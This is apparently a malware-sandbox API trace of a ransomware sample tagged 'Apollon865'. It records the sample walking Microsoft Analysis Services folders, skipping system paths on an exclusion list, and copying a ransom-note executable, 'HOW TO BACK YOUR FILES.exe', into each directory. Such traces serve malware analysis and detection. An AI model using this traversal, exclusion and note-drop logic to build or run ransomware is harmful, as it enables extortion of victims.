	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00296_.WMF", lpString2="Apollon865") returned -1
	[0074.157] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00390_.WMF" | out: lpString1="BL00390_.WMF") returned="BL00390_.WMF"
	[0074.157] lstrlenW (lpString="BL00390_.WMF") returned 12
	[0074.157] lstrlenW (lpString="Apollon865") returned 10
	[0074.157] lstrcmpiW (lpString1="00390_.WMF", lpString2="Apollon865") returned -1
	[0074.221] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services"
	[0074.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0074.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services") returned 44
	[0074.221] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services"
	[0074.221] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.221] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.225] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x444f60d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x444f60d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.226] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.226] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.226] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.226] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x444f60d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x444f60d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.226] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.226] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.226] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.226] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.226] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="Apollon865.txt.exe") returned 1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2=".") returned 1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="..") returned 1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="windows") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="bootmgr") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="temp") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="pagefile.sys") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="boot") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="ids.txt") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="ntuser.dat") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="perflogs") returned -1
	[0074.226] lstrcmpiW (lpString1="AS OLEDB", lpString2="MSBuild") returned -1
	[0074.226] lstrlenW (lpString="AS OLEDB") returned 8
	[0074.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\*") returned 46
	[0074.227] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB"
	[0074.227] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0074.227] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned 53
	[0074.227] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB"
	[0074.227] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.227] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.232] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4451c230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4451c230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.232] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.232] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.232] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.232] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4451c230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4451c230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.232] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.232] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.232] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.232] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.232] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
	[0074.232] lstrcmpiW (lpString1="10", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.232] lstrcmpiW (lpString1="10", lpString2="Apollon865.txt.exe") returned -1
	[0074.232] lstrcmpiW (lpString1="10", lpString2=".") returned 1
	[0074.232] lstrcmpiW (lpString1="10", lpString2="..") returned 1
	[0074.232] lstrcmpiW (lpString1="10", lpString2="windows") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="bootmgr") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="temp") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="pagefile.sys") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="boot") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="ids.txt") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="ntuser.dat") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="perflogs") returned -1
	[0074.233] lstrcmpiW (lpString1="10", lpString2="MSBuild") returned -1
	[0074.233] lstrlenW (lpString="10") returned 2
	[0074.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*") returned 55
	[0074.233] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10"
	[0074.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0074.233] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned 56
	[0074.233] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10"
	[0074.233] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.233] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.243] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4451c230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4451c230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.244] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.244] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.244] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.244] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4451c230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4451c230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.244] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.244] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.244] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="Apollon865.txt.exe") returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2=".") returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="..") returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="windows") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="bootmgr") returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="temp") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="pagefile.sys") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="boot") returned 1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="ids.txt") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="ntuser.dat") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="perflogs") returned -1
	[0074.244] lstrcmpiW (lpString1="Cartridges", lpString2="MSBuild") returned -1
	[0074.244] lstrlenW (lpString="Cartridges") returned 10
	[0074.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*") returned 58
	[0074.244] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources"
	[0074.245] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0074.245] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned 66
	[0074.245] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources"
	[0074.245] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.245] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.248] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44542390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44542390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.249] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.249] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.249] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.249] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44542390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44542390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.249] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.249] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.249] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.249] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.249] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0074.249] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0074.249] lstrlenW (lpString="1033") returned 4
	[0074.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned 68
	[0074.249] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033"
	[0074.249] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0074.249] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned 71
	[0074.249] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033"
	[0074.249] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.250] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.254] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44542390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44542390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.254] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.254] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.254] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.254] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44542390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44542390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.254] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.254] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.254] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.254] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.254] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44542390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44542390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.254] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.254] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0074.254] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.254] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="Apollon865.txt.exe") returned 1
	[0074.254] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".") returned 1
	[0074.254] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="..") returned 1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="windows") returned -1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootmgr") returned 1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="temp") returned -1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="pagefile.sys") returned -1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="boot") returned 1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ids.txt") returned 1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntuser.dat") returned -1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="perflogs") returned -1
	[0074.255] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="MSBuild") returned 1
	[0074.255] lstrlenW (lpString="msmdsrv.rll") returned 11
	[0074.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*") returned 73
	[0074.255] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges"
	[0074.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0074.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned 67
	[0074.255] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges"
